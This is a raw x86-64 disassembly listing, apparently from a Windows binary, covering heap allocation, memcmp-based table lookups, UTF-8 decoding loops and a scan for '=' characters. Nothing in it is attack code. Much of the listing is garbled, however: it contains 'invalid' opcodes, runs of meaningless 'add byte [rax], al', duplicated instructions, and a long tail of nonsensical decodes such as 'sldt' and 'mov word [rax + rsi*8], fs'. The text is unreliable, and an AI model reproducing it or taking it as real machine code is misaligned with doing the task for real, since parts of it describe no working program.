mov rcx, qword [rsp + 0x2d0]
mov qword [rsp + 0x30], rcx
mov byte [rsp + 0x28], al
mov rax, qword [rsp + 0xc8]
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0xd0]
add byte [rax], al
add byte [rax], al
mov rdx, qword [rsp + 0x48]
mov r8, rsi
call fcn.14003b820
mov rcx, qword [rsp + 0xd0]
cmp rcx, 9
je case.0x14002fddd.1
cmp rcx, 7
ja case.0x14002fddd.1
stc
invalid
mov r8, qword [rsp + 0xd8]
mov rax, qword [rsp + 0xe0]
mov eax, dword [rsp + 0xe0]
mov eax, dword [rsp + 0xe0]
lea rdx, [0x14020845c]
movsxd rcx, dword [rdx + rcx*4]
add rcx, rdx
jmp rcx
mov rdi, r8
test rax, rax
je case.0x14002fddd.1
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rdi
call qword [sym.imp.KERNEL32.dll_HeapFree]
test dword [rsi + 0x278], 0x100002
mov rbx, qword [rsp + 0x88]
je 0x14002fe24
mov rdi, qword [r14]
mov eax, 2
mov qword [rsp + 0x78], rax
mov rsi, qword [rsp + 0x48]
mov r14, r15
jmp 0x14002fe3b
mov r14, r15
inc r14
xor eax, eax
mov qword [rsp + 0x78], rax
mov rsi, qword [rsp + 0x48]
mov rdi, qword [rsp + 0x70]
mov al, 1
mov qword [rsp + 0x68], rax
cmp qword [rsp + 0x80], 0
je 0x14002f0e4
cmp qword [rsp + 0xb0], 0
je 0x14002f0e4
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, qword [rsp + 0x80]
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x14002f0e4
mov r13, qword [rsp + 0xf0]
mov r12, qword [rsp + 0xf8]
mov rdi, qword [rsp + 0x108]
mov rbx, qword [rsp + 0x110]
test rax, rax
je 0x14002feb0
mov rcx, qword [0x140215360]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
test r12, r12
je 0x14002fec7
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, r13
call qword [sym.imp.KERNEL32.dll_HeapFree]
test rbx, rbx
jne 0x14002fde7
jmp case.0x14002fddd.1
cmp qword [rsp + 0x230], 0
mov qword [rsp + 0xb8], r8
je 0x1400301b7
lea rcx, [rsp + 0x180]
mov rdx, rdi
mov r14, r8
call fcn.14005a400
cmp qword [rsp + 0x180], 0
je 0x140030517
mov rcx, qword [rsp + 0x188]
mov rax, rcx
mov qword [rsp + 0x58], rcx
cmp r14, rcx
mov rdx, r14
jbe 0x14002ff39
mov rax, qword [rsp + 0x58]
movzx eax, byte [rdi + rax]
and al, 0xc0
cmp al, 0x80
je 0x140035aa9
sub rdx, qword [rsp + 0x58]
mov qword [rsp + 0x98], rdx
lea rcx, [rsp + 0xd0]
jb 0x140035a33
mov rdx, rdi
mov r8, qword [rsp + 0x58]
call fcn.14005a400
cmp qword [rsp + 0xd0], 0
jne 0x140035a4d
add qword [rsp + 0x58], rdi
mov r14, qword [rsp + 0xd8]
mov r10, qword [rsp + 0xe0]
jmp 0x14003052e
mov r13, r11
add r13, 0xfffffffffffffffe
je 0x14002f618
mov rax, qword [rsp + 0xc0]
lea r10, [rax + 2]
mov rcx, r10
mov rdx, r13
xor eax, eax
cmp rdx, 0x10
jae 0x14002ffd8
test rdx, rdx
je 0x140030111
xor r9d, r9d
nop dword [rax]
cmp byte [rcx + r9], 0x3d
je 0x1400300e4
inc r9
cmp rdx, r9
jne 0x14002ffc0
jmp 0x140030111
lea r8, [rcx + 7]
and r8, 0xfffffffffffffff8
sub r8, rcx
je 0x140030022
cmp r8, rdx
cmovae r8, rdx
test r8, r8
je 0x140030022
xor r9d, r9d
cmp byte [rcx + r9], 0x3d
je 0x1400300e4
inc r9
cmp r8, r9
jne 0x14002fff4
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], r10
mov qword [rsp + 0x98], r13
mov r13, r12
lea r9, [rdx - 0x10]
jmp 0x140030093
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], r10
mov qword [rsp + 0x98], r13
mov r13, r12
lea r9, [rdx - 0x10]
xor r8d, r8d
nop
mov r10, qword [rcx + r8]
mov r11, r10
not r11
movabs rax, 0x3d3d3d3d3d3d3d3d
xor r10, rax
movabs r15, 0xfefefefefefefeff
add r10, r15
and r10, r11
movabs r12, 0x8080808080808080
test r10, r12
jne 0x140030098
mov r10, qword [rcx + r8 + 8]
mov r11, r10
not r11
xor r10, rax
add r10, r15
and r10, r11
test r10, r12
jne 0x140030098
add r8, 0x10
cmp r8, r9
jbe 0x140030040
sub rdx, r8
je 0x140031e20
add rcx, r8
xor r9d, r9d
mov r11, qword [rsp + 0x40]
mov r12, r13
mov r13, qword [rsp + 0x98]
mov r10, qword [rsp + 0x58]
mov rax, qword [rsp + 0x50]
nop word cs:[rax + rax]
cmp byte [rcx + r9], 0x3d
je 0x1400300e1
inc r9
cmp rdx, r9
jne 0x1400300d0
jmp 0x140030111
add r9, r8
lea r8, [r9 + rax]
inc r8
add r9, rax
cmp r9, r13
jae 0x1400300fe
cmp byte [r10 + r9], 0x3d
je 0x140031e52
lea rcx, [r10 + r8]
mov rdx, r13
mov rax, r8
sub rdx, r8
jae 0x14002ffab
xor eax, eax
mov qword [rsp + 0x50], rax
xor eax, eax
mov rcx, qword [rsp + 0x78]
cmp rcx, 2
jne 0x140030225
mov rdx, qword [r12 + 0xb0]
mov rcx, qword [r12 + 0xa0]
mov r8, 0xfffffffffffffd80
add rcx, r8
shl rdx, 7
lea rdx, [rdx + rdx*4]
nop dword [rax + rax]
test rdx, rdx
je 0x1400357ed
lea r8, [rcx + 0x280]
add rdx, 0xfffffffffffffd80
cmp qword [rcx + 0x488], rdi
mov rcx, r8
jne 0x140030150
jmp 0x140030273
cmp byte [rdx + rax], 0x3d
mov rcx, rax
jne 0x1400301d4
cmp rcx, r13
ja 0x1400359a6
lea r9, [rcx + 1]
mov rax, r13
sub rax, r9
mov qword [rsp + 0xb8], rax
lea rax, [rsp + 0xd0]
jb 0x1400359b7
add r9, rdx
mov qword [rsp + 0x50], r9
mov r13, rcx
jmp 0x1400301e3
cmp r11, 1
ja 0x1400307e3
mov rcx, qword [rsp + 0xc0]
je 0x1400307f5
jmp 0x140035abf
xor eax, eax
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0xd0]
mov rcx, rax
mov r8, r13
mov r15, rdx
call fcn.14005a400
mov r10, r15
mov rax, qword [rsp + 0xd0]
test rax, rax
jne 0x140030211
mov r10, qword [rsp + 0xd8]
mov r13, qword [rsp + 0xe0]
mov r11, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x78]
cmp rcx, 2
je 0x140030129
cmp rcx, 1
jne 0x140030281
mov rdx, qword [r12 + 0xb0]
mov rcx, qword [r12 + 0xa0]
mov r8, 0xfffffffffffffd80
add rcx, r8
shl rdx, 7
lea rdx, [rdx + rdx*4]
nop dword [rax]
test rdx, rdx
je 0x1400357ed
lea r8, [rcx + 0x280]
add rdx, 0xfffffffffffffd80
cmp qword [rcx + 0x488], rdi
mov rcx, r8
jne 0x140030250
test byte [r8 + 0x279], 0x10
jne 0x14003178c
test rax, rax
je 0x1400302c9
lea rcx, [rsp + 0x180]
mov rdx, r10
mov r8, r13
call fcn.140013eb0
mov r12, qword [rsp + 0x180]
mov r13, qword [rsp + 0x190]
test r12, r12
je 0x140030784
mov r15, qword [rsp + 0x188]
mov eax, 7
mov r11, qword [rsp + 0x40]
jmp 0x140032009
mov rax, qword [r12 + 0xc8]
test rax, rax
mov qword [rsp + 0x58], r10
je 0x14003037e
mov rsi, qword [r12 + 0xb8]
shl rax, 3
lea rdi, [rax + rax*4]
jmp 0x14003030a
add rsi, 0x28
add rdi, 0xffffffffffffffd8
je 0x14003037e
movzx eax, byte [rsi + 0x20]
add al, 0xfe
cmp al, 2
ja 0x140030318
cmp al, 1
jne 0x140030300
cmp qword [rsi + 0x18], r13
jne 0x140030300
mov rcx, qword [rsi + 8]
mov rdx, r10
mov r8, r13
call sub.VCRUNTIME140.dll_memcmp
mov r10, qword [rsp + 0x58]
mov r11, qword [rsp + 0x40]
test eax, eax
jne 0x140030300
mov rcx, qword [rsi]
mov rdx, qword [r12 + 0xb0]
cmp rcx, rdx
jae 0x140035523
lea rdi, [rcx + rcx*4]
shl rdi, 7
add rdi, qword [r12 + 0xa0]
mov rdx, qword [rsp + 0x48]
lea rcx, [rsp + 0xd0]
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0xb8]
jmp 0x1400304a6
mov r15, qword [r12 + 0x258]
or r15, qword [r12 + 0x250]
bt r15, 0x2b
jae 0x140030538
mov rax, qword [r12 + 0xb0]
test rax, rax
je 0x140030538
mov rdi, qword [r12 + 0xa0]
lea rax, [rax + rax*4]
shl rax, 7
add rax, rdi
mov qword [rsp + 0x98], rax
jmp 0x1400303ef
mov rdi, rsi
add rdi, 0x280
cmp rdi, qword [rsp + 0x98]
mov rbx, qword [rsp + 0x88]
mov r14, qword [rsp + 0x90]
je 0x140030538
mov rdx, qword [rdi + 0x230]
test rdx, rdx
je 0x140030421
cmp qword [rdi + 0x238], r13
jb 0x140030421
mov rcx, r10
mov r8, r13
call sub.VCRUNTIME140.dll_memcmp
mov r10, qword [rsp + 0x58]
mov r11, qword [rsp + 0x40]
test eax, eax
je 0x14003035f
mov rsi, rdi
mov rax, qword [rdi + 0x170]
test rax, rax
je 0x1400303c7
mov rbx, qword [rsi + 0x160]
shl rax, 3
lea r14, [rax + rax*2]
xor edi, edi
jmp 0x14003045d
add rdi, 0x18
cmp r14, rdi
je 0x1400303c7
cmp r13, qword [rbx + rdi + 8]
ja 0x140030450
mov rdx, qword [rbx + rdi]
mov rcx, r10
mov r8, r13
call sub.VCRUNTIME140.dll_memcmp
mov r10, qword [rsp + 0x58]
mov r11, qword [rsp + 0x40]
test eax, eax
jne 0x140030450
mov rdx, qword [rsp + 0x48]
mov r14, qword [rsp + 0x90]
lea rcx, [rsp + 0xd0]
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0xb8]
mov rdi, rsi
test byte [rdi + 0x278], 0x20
jne 0x140030d4f
test r9, r9
lea rcx, [rsp + 0x200]
je 0x1400317ec
mov qword [rsp + 0x98], rdi
mov rdx, r12
call fcn.14001fd70
mov rax, qword [rsp + 0x60]
mov rax, qword [rax + 0x30]
test rax, rax
je 0x140031c93
mov rcx, rax
mov rax, qword [rsp + 0x60]
mov r15, qword [rax + 0x20]
shl rcx, 7
add rcx, r15
mov qword [rsp + 0x68], rcx
mov rsi, qword [rsp + 0x200]
mov rbx, qword [rsp + 0x210]
shl rbx, 5
jmp 0x140030d83
mov r14, qword [rsp + 0x188]
mov r10, qword [rsp + 0x190]
xor eax, eax
mov qword [rsp + 0x58], rax
mov r11, qword [rsp + 0x40]
jmp 0x140030804
bt r15, 0x24
jae 0x140030a94
mov r15, qword [r12 + 0xe0]
test r15, r15
je 0x14003176a
mov rdx, qword [r12 + 0xd0]
mov eax, 8
xor ebx, ebx
xor ecx, ecx
mov qword [rsp + 0x50], rcx
xor edi, edi
mov qword [rsp + 0x1f8], r15
mov qword [rsp + 0x98], rdx
jmp 0x1400305aa
mov r14, qword [rsp + 0x90]
mov rdx, qword [rsp + 0x98]
mov rax, qword [rsp + 0x180]
mov rbx, qword [rsp + 0x188]
inc rdi
cmp rdi, r15
je 0x140030cee
mov qword [rsp + 0xb8], rax
mov qword [rsp + 0x180], rax
mov qword [rsp + 0x188], rbx
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x190], rax
imul rsi, rdi, 0x298
lea rax, [rdx + rsi]
mov qword [rsp + 0x198], rax
mov r12, qword [rdx + rsi + 0x138]
test r12, r12
je 0x14003058e
mov rax, qword [rdx + rsi + 0x140]
cmp rax, r13
jb 0x140030689
mov qword [rsp + 0x178], rax
mov rcx, r10
mov rdx, r12
mov r8, r13
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x14003067f
mov rdx, qword [rsp + 0x50]
cmp rdx, rbx
jne 0x14003064c
lea rcx, [rsp + 0x180]
mov rdx, rbx
call fcn.1400219d0
mov rax, qword [rsp + 0x180]
mov qword [rsp + 0xb8], rax
mov rdx, qword [rsp + 0x190]
mov rax, rdx
shl rax, 4
mov rcx, qword [rsp + 0xb8]
mov qword [rcx + rax], r12
mov r8, qword [rsp + 0x178]
mov qword [rcx + rax + 8], r8
inc rdx
mov rax, rdx
mov qword [rsp + 0x50], rdx
mov qword [rsp + 0x190], rdx
mov r11, qword [rsp + 0x40]
mov r10, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x98]
mov rax, qword [rdx + rsi + 0x68]
test rax, rax
je 0x14003058e
mov rbx, qword [rdx + rsi + 0x58]
lea rax, [rax + rax*2]
lea rsi, [rbx + rax*8]
mov rax, rbx
jmp 0x1400306cc
mov rax, rbx
cmp rbx, rsi
je 0x14003057e
lea rbx, [rax + 0x18]
mov r14, qword [rax + 8]
cmp r14, r13
jb 0x1400306c0
mov r12, qword [rax]
mov rcx, r10
mov rdx, r12
mov r8, r13
call sub.VCRUNTIME140.dll_memcmp
mov r10, qword [rsp + 0x58]
mov r11, qword [rsp + 0x40]
test eax, eax
jne 0x1400306c0
mov r15, qword [rsp + 0x50]
cmp r15, qword [rsp + 0x188]
je 0x140030758
mov rax, r15
shl rax, 4
mov rcx, qword [rsp + 0xb8]
mov qword [rcx + rax], r12
mov qword [rcx + rax + 8], r14
inc r15
mov rax, r15
mov qword [rsp + 0x50], r15
mov qword [rsp + 0x190], r15
cmp rbx, rsi
mov r14, qword [rsp + 0x90]
mov r15, qword [rsp + 0x1f8]
mov rdx, qword [rsp + 0x98]
jne 0x1400306ac
jmp 0x14003058e
lea rcx, [rsp + 0x180]
mov rdx, r15
call fcn.1400219d0
mov r10, qword [rsp + 0x58]
mov r11, qword [rsp + 0x40]
mov rax, qword [rsp + 0x180]
mov qword [rsp + 0xb8], rax
jmp 0x140030707
mov rdi, qword [rsp + 0x188]
test r13, r13
je 0x140030cdd
js 0x140035821
movzx eax, byte [0x1402153f8]
mov rax, qword [0x140215360]
test rax, rax
jne 0x1400307c4
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x140035a24
mov qword [0x140215360], rax
mov rcx, rax
xor edx, edx
mov r8, r13
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r12, rax
test rax, rax
jne 0x140030ce3
jmp 0x140035a24
mov rcx, qword [rsp + 0xc0]
cmp byte [rcx + 1], 0xbf
jle 0x140035add
lea r14, [rcx + 1]
lea r10, [r11 - 1]
xor eax, eax
mov qword [rsp + 0x58], rax
mov rax, qword [r12 + 0x250]
mov rcx, qword [r12 + 0x258]
mov edx, eax
or edx, ecx
test edx, 0x2000000
je 0x140030864
cmp qword [rsp + 0x58], 0
jne 0x140030864
lea rcx, [rsp + 0xd0]
mov rdx, r14
mov r8, r10
mov r13, r10
call fcn.14005fab0
mov r11, qword [rsp + 0x40]
cmp byte [rsp + 0xd0], 0
je 0x140030f0d
mov r10, r13
mov rax, qword [r12 + 0x250]
mov rcx, qword [r12 + 0x258]
add r10, r14
mov edx, eax
or edx, ecx
test edx, 0x10000
mov qword [rsp + 0x50], r10
jne 0x1400308ed
mov rax, qword [rsp + 0x78]
cmp rax, 1
je 0x140030e31
cmp rax, 2
jne 0x140030e91
mov rcx, qword [r12 + 0xb0]
mov rax, qword [r12 + 0xa0]
mov rdx, 0xfffffffffffffd80
add rax, rdx
shl rcx, 7
lea rcx, [rcx + rcx*4]
nop word cs:[rax + rax]
test rcx, rcx
je 0x1400358bd
lea rdx, [rax + 0x280]
add rcx, 0xfffffffffffffd80
mov r8, qword [rsp + 0x70]
cmp qword [rax + 0x488], r8
mov rax, rdx
jne 0x1400308c0
jmp 0x140030e88
mov qword [rsp + 0xd0], rdi
mov rdx, qword [rsp + 0xb8]
mov qword [rsp + 0xd8], rdx
mov qword [rsp + 0xe0], r14
mov qword [rsp + 0xe8], r10
mov qword [rsp + 0xf0], 0
mov rdx, qword [rsp + 0x58]
mov qword [rsp + 0xf8], rdx
mov rdx, qword [rsp + 0x98]
mov qword [rsp + 0x100], rdx
bt rax, 0x21
mov rax, qword [r12 + 0xb8]
mov rdx, qword [r12 + 0xc8]
jb 0x14003099d
bt rcx, 0x21
jb 0x140030bc4
lea rcx, [rsp + 0x200]
lea rdx, [rsp + 0xd0]
call fcn.140058b50
cmp qword [rsp + 0x200], 0
je 0x140030e18
cmp qword [rsp + 0x208], 0
je 0x140035b16
mov r11, qword [rsp + 0x40]
jmp 0x140030f0d
shl rdx, 3
lea rcx, [rdx + rdx*4]
mov rdx, r14
cmp rdx, r10
je 0x140030caf
movzx r11d, byte [rdx]
movzx r8d, r11b
test r8b, r8b
js 0x1400309c3
inc rdx
jmp 0x140030a42
mov r9d, r8d
and r9d, 0x1f
movzx esi, byte [rdx + 1]
and esi, 0x3f
cmp r8b, 0xdf
jbe 0x140030a1f
movzx r10d, byte [rdx + 2]
shl esi, 6
and r10d, 0x3f
or r10d, esi
cmp r11b, 0xf0
jb 0x140030a2f
movzx r8d, byte [rdx + 3]
and r9d, 7
shl r9d, 0x12
shl r10d, 6
and r8d, 0x3f
or r8d, r10d
or r8d, r9d
cmp r8d, 0x110000
mov rsi, qword [rsp + 0x48]
je 0x140030caf
add rdx, 4
jmp 0x140030a42
add rdx, 2
shl r9d, 6
or r9d, esi
mov r8d, r9d
jmp 0x140030a3d
add rdx, 3
shl r9d, 0xc
or r10d, r9d
mov r8d, r10d
mov rsi, qword [rsp + 0x48]
mov qword [rsp + 0x208], 0
mov dword [rsp + 0x210], r8d
mov r9, rcx
mov r10, rax
nop dword [rax]
test r9, r9
je 0x140030993
mov r11, r10
add r10, 0x28
add r9, 0xffffffffffffffd8
cmp byte [r11 + 0x20], 2
jne 0x140030a60
cmp dword [r11 + 8], r8d
jne 0x140030a60
mov r10, qword [rsp + 0x50]
cmp rdx, r10
jne 0x1400309b1
jmp 0x140030caf
mov rax, qword [r12 + 0xe0]
test rax, rax
je 0x14003176a
mov rsi, qword [r12 + 0xd0]
imul rdi, rax, 0x298
add rdi, rsi
jmp 0x140030ad9
add rsi, 0x298
cmp rsi, rdi
mov rbx, qword [rsp + 0x88]
mov r14, qword [rsp + 0x90]
je 0x14003176a
mov rdx, qword [rsi + 0x138]
test rdx, rdx
je 0x140030b5a
cmp qword [rsi + 0x140], r13
jne 0x140030b0b
mov rcx, r10
mov r8, r13
call sub.VCRUNTIME140.dll_memcmp
mov r10, qword [rsp + 0x58]
mov r11, qword [rsp + 0x40]
test eax, eax
je 0x140030baf
mov rax, qword [rsi + 0x98]
test rax, rax
je 0x140030ab9
mov rbx, qword [rsi + 0x88]
shl rax, 3
lea r14, [rax + rax*2]
xor r12d, r12d
jmp 0x140030b34
add r12, 0x18
cmp r14, r12
je 0x140030ab9
cmp qword [rbx + r12 + 8], r13
jne 0x140030b2b
mov rdx, qword [rbx + r12]
mov rcx, r10
mov r8, r13
call sub.VCRUNTIME140.dll_memcmp
mov r10, qword [rsp + 0x58]
mov r11, qword [rsp + 0x40]
test eax, eax
jne 0x140030b2b
jmp 0x140030baf
mov rax, qword [rsi + 0x98]
test rax, rax
je 0x140030ab9
mov rbx, qword [rsi + 0x88]
shl rax, 3
lea r14, [rax + rax*2]
xor r12d, r12d
jmp 0x140030b8b
add r12, 0x18
cmp r14, r12
je 0x140030ab9
cmp qword [rbx + r12 + 8], r13
jne 0x140030b7e
mov rdx, qword [rbx + r12]
mov rcx, r10
mov r8, r13
call sub.VCRUNTIME140.dll_memcmp
mov r10, qword [rsp + 0x58]
mov r11, qword [rsp + 0x40]
test eax, eax
jne 0x140030b7e
mov r15, qword [rsi + 0x40]
mov r13, qword [rsi + 0x50]
mov r14, qword [rsp + 0x90]
jmp 0x140030d1b
shl rdx, 3
lea rcx, [rdx + rdx*4]
mov rdx, r14
cmp rdx, r10
je 0x140030caf
movzx r11d, byte [rdx]
movzx r8d, r11b
test r8b, r8b
js 0x140030bea
inc rdx
jmp 0x140030c65
mov r9d, r8d
and r9d, 0x1f
movzx esi, byte [rdx + 1]
and esi, 0x3f
cmp r8b, 0xdf
jbe 0x140030c42
movzx r10d, byte [rdx + 2]
shl esi, 6
and r10d, 0x3f
or r10d, esi
cmp r11b, 0xf0
jb 0x140030c52
movzx r8d, byte [rdx + 3]
and r9d, 7
shl r9d, 0x12
shl r10d, 6
and r8d, 0x3f
or r8d, r10d
or r8d, r9d
cmp r8d, 0x110000
mov rsi, qword [rsp + 0x48]
je 0x140030caf
add rdx, 4
jmp 0x140030c65
add rdx, 2
shl r9d, 6
or r9d, esi
mov r8d, r9d
jmp 0x140030c60
add rdx, 3
shl r9d, 0xc
or r10d, r9d
mov r8d, r10d
mov rsi, qword [rsp + 0x48]
mov qword [rsp + 0x208], 0
mov dword [rsp + 0x210], r8d
mov r9, rcx
mov r10, rax
nop
test r9, r9
je 0x140030993
mov r11, r10
add r10, 0x28
add r9, 0xffffffffffffffd8
cmp byte [r11 + 0x20], 2
jne 0x140030c80
cmp dword [r11 + 8], r8d
jne 0x140030c80
mov r10, qword [rsp + 0x50]
cmp rdx, r10
jne 0x140030bd8
cmp qword [rsp + 0x58], 0
je 0x140030e18
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x208], rax
mov rax, qword [rsp + 0x98]
mov qword [rsp + 0x210], rax
jmp 0x140030993
mov r12d, 1
mov rcx, r12
mov rdx, rdi
jmp 0x140031c79
mov rcx, qword [rsp + 0x50]
cmp rcx, 1
jne 0x1400316f5
mov r15, qword [rax]
mov r13, qword [rax + 8]
test rbx, rbx
je 0x140030d1b
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
test r13, r13
je 0x1400316d2
js 0x140035821
movzx eax, byte [0x1402153f8]
mov edx, 1
mov rcx, r13
call fcn.140013830
mov r12, rax
test rax, rax
jne 0x1400316d8
jmp 0x140035a24
test r9, r9
setne byte [rsp + 0x38]
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], r8
mov r8b, 1
call fcn.140037c20
jmp 0x140031fd3
cmp r15, qword [rsp + 0x68]
je 0x140031c93
mov r14, r15
add r15, 0x80
mov rdi, qword [r14 + 0x78]
mov rcx, qword [rsp + 0x60]
mov rdx, rdi
xor r8d, r8d
call fcn.140020b00
test al, al
je 0x140030d78
mov rcx, qword [r12 + 0xb0]
mov rax, qword [r12 + 0xa0]
mov rdx, 0xfffffffffffffd80
add rax, rdx
shl rcx, 7
lea rcx, [rcx + rcx*4]
test rcx, rcx
je 0x140031838
lea rdx, [rax + 0x280]
add rcx, 0xfffffffffffffd80
cmp qword [rax + 0x488], rdi
add byte [rax], al
mov rax, rdx
jne 0x140030dc7
test byte [rdx + 0x278], 0x10
jne 0x140030d78
mov rax, rbx
mov rcx, rsi
test rax, rax
je 0x140031838
lea rdx, [rcx + 0x20]
add rax, 0xffffffffffffffe0
cmp qword [rcx + 0x18], rdi
mov rcx, rdx
jne 0x140030df9
jmp 0x140030d78
mov r11, qword [rsp + 0x40]
mov r10, qword [rsp + 0x50]
mov rax, qword [rsp + 0x78]
cmp rax, 1
jne 0x140030887
mov rcx, qword [r12 + 0xb0]
mov rax, qword [r12 + 0xa0]
mov rdx, 0xfffffffffffffd80
add rax, rdx
shl rcx, 7
lea rcx, [rcx + rcx*4]
nop word cs:[rax + rax]
test rcx, rcx
je 0x1400358bd
lea rdx, [rax + 0x280]
add rcx, 0xfffffffffffffd80
mov r8, qword [rsp + 0x70]
cmp qword [rax + 0x488], r8
mov rax, rdx
jne 0x140030e60
test byte [rdx + 0x279], 0x10
jne 0x140030f0d
mov rax, qword [r12 + 0xb8]
mov rcx, qword [r12 + 0xc8]
add rax, 0xffffffffffffffd8
shl rcx, 3
lea rcx, [rcx + rcx*4]
nop dword [rax]
test rcx, rcx
je 0x140030f2e
mov rdx, rax
add rax, 0x28
add rcx, 0xffffffffffffffd8
cmp byte [rdx + 0x48], 4
jne 0x140030eb0
mov r8, qword [rsp + 0x90]
cmp qword [rdx + 0x30], r8
jne 0x140030eb0
mov rcx, qword [rax]
mov rdx, qword [r12 + 0xb0]
cmp rcx, rdx
jae 0x140035523
mov rax, qword [r12 + 0xa0]
lea rcx, [rcx + rcx*4]
shl rcx, 7
mov eax, dword [rax + rcx + 0x278]
mov ecx, 0x5000
and eax, ecx
cmp eax, 0x1000
jne 0x140030f2e
mov rdi, qword [rsp + 0x70]
mov rax, qword [rsp + 0x78]
mov r14, qword [rsp + 0x90]
cmp rax, 1
jne 0x14002f66d
jmp 0x140031b39
mov rax, qword [rsi + 0x20]
mov qword [rsi + 0x20], 0
test rax, rax
test eax, eax
test eax, eax
je 0x140030fd8
xor edx, edx
jmp 0x140030f5d
lea r14, [rcx + 1]
mov rdx, r14
sub rdx, rcx
add rdx, rbx
dec rax
je 0x140030fe8
mov rbx, rdx
mov rcx, r14
cmp r14, r10
je 0x140030fdc
movzx edx, byte [rcx]
test dl, dl
jns 0x140030f47
cmp dl, 0xe0
jb 0x140030fc6
cmp dl, 0xf0
jb 0x140030fcf
movzx edx, dl
movzx r8d, byte [rcx + 1]
and r8d, 0x3f
movzx r9d, byte [rcx + 2]
and r9d, 0x3f
invalid
lea r14, [rcx + 4]
movzx r10d, byte [rcx + 3]
and edx, 7
shl edx, 0x12
shl r8d, 0xc
shl r9d, 6
or r9d, r8d
and r10d, 0x3f
or r10d, r9d
or r10d, edx
cmp r10d, 0x110000
je 0x140031e6e
invalid
mov r10, qword [rsp + 0x50]
jmp 0x140030f4b
lea r14, [rcx + 2]
jmp 0x140030f4b
lea r14, [rcx + 3]
jmp 0x140030f4b
xor ebx, ebx
jmp 0x140030feb
mov r14, rcx
xor eax, eax
mov qword [rsp + 0x58], rax
jmp 0x140030feb
mov rbx, rdx
mov r15d, 8
mov rcx, r14
cmp r14, r10
mov r14, qword [rsp + 0x90]
je 0x140031d19
movzx r9d, byte [rcx]
movzx eax, r9b
test al, al
js 0x140031017
lea r14, [rcx + 1]
jmp 0x14003108b
mov edx, eax
and edx, 0x1f
movzx r10d, byte [rcx + 1]
mov dh, 0x51
add dword [rcx - 0x7d], eax
loop 0x140031064
cmp al, 0xdf
jbe 0x14003106b
movzx r8d, byte [rcx + 2]
shl r10d, 6
and r8d, 0x3f
or r8d, r10d
cmp r9b, 0xf0
jb 0x140031079
movzx eax, byte [rcx + 3]
and edx, 7
shl edx, 0x12
loop 0x14003105b
loop 0x14003105b
shl r8d, 6
and eax, 0x3f
or eax, r8d
ror byte [rcx], 0xd0
cmp eax, 0x110000
mov r10, qword [rsp + 0x50]
mov edx, dword [rsp + 0x50]
je 0x140031d19
lea r14, [rcx + 4]
jmp 0x14003108b
lea r14, [rcx + 2]
shl edx, 6
or edx, r10d
mov eax, edx
jmp 0x140031086
lea r14, [rcx + 3]
shl edx, 0xc
or r8d, edx
mov eax, r8d
mov r10, qword [rsp + 0x50]
mov rdx, r14
sub rdx, rcx
add rbx, rdx
mov dword [rsp + 0x2f0], eax
add byte [rax], al
add byte [rax], al
mov r8, qword [rsi + 0x10]
mov rcx, qword [r8 + 0xb8]
mov rdx, qword [r8 + 0xc8]
add rcx, 0xffffffffffffffd8
rcr eax, 0x48
shl edx, 3
rcr eax, 0x48
shl edx, 3
lea rdx, [rdx + rdx*4]
nop dword [rax]
test rdx, rdx
je 0x1400314e5
mov r9, rcx
add rcx, 0x28
add rdx, 0xffffffffffffffd8
cmp byte [r9 + 0x48], 2
jne 0x1400310c0
cmp dword [r9 + 0x30], eax
jne 0x1400310c0
mov rcx, qword [rcx]
mov rdx, qword [r8 + 0xb0]
cmp rcx, rdx
jae 0x140035523
mov rax, qword [r8 + 0xa0]
lea rcx, [rcx + rcx*4]
shl rcx, 7
loope 0x14003110a
loope 0x14003110a
lea rsi, [rax + rcx]
test byte [rax + rcx + 0x278], 0x20
jne 0x140031273
js 0x14003110e
add byte [rax], al
and byte [rdi], cl
test dword [rsi + 1], ebx
add byte [rax], al
mov qword [rsp + 0x240], 8
lea rax, [rsp + 0x248]
movups xmmword [rax], xmm8
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x240]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rsi
lea rcx, [rsp + 0xd0]
mov rsi, qword [rsp + 0x48]
mov rdx, rsi
xor r8d, r8d
mov r9b, 2
call fcn.1400383f0
mov r9, qword [rsp + 0xd0]
mov rax, qword [rsp + 0xd8]
mov qword [rsp + 0x328], rax
test byte [rax + rbp], ah
add eax, dword [rax]
add byte [rbx + rcx*4 - 0x6c], cl
and al, 0xe0
add byte [rax], al
add byte [rax - 0x75], cl
test byte [rax + rbp*8], ah
add byte [rax], al
add byte [rax - 0x75], cl
mov word [rax + rsi*8], fs
add byte [rax], al
add byte [rbx + rcx*4 - 0x7c], cl
and al, 0xf8
add byte [rax], al
add byte [rcx - 0x7d], cl
stc
or dword [rdi], ecx
invalid
invalid
sldt word [rax]
test byte [rax + rbp], ah
add eax, dword [rax]
add byte [rbx + rcx*4 - 0x6c], cl
and al, 0xe0
add byte [rax], al
add byte [rax - 0x75], cl
test byte [rax + rbp*8], ah
add byte [rax], al
add byte [rax - 0x75], cl
mov word [rax + rsi*8], fs
add byte [rax], al
add byte [rbx + rcx*4 - 0x7c], cl
and al, 0xf8
add byte [rax], al
add byte [rcx - 0x7d], cl
stc
or dword [rdi], ecx
test byte [rcx + 0x4c00000f], ah
mov dword [rsp + 0x68], edx
mov qword [rsp + 0x68], r10
mov qword [rsp + 0x358], rax
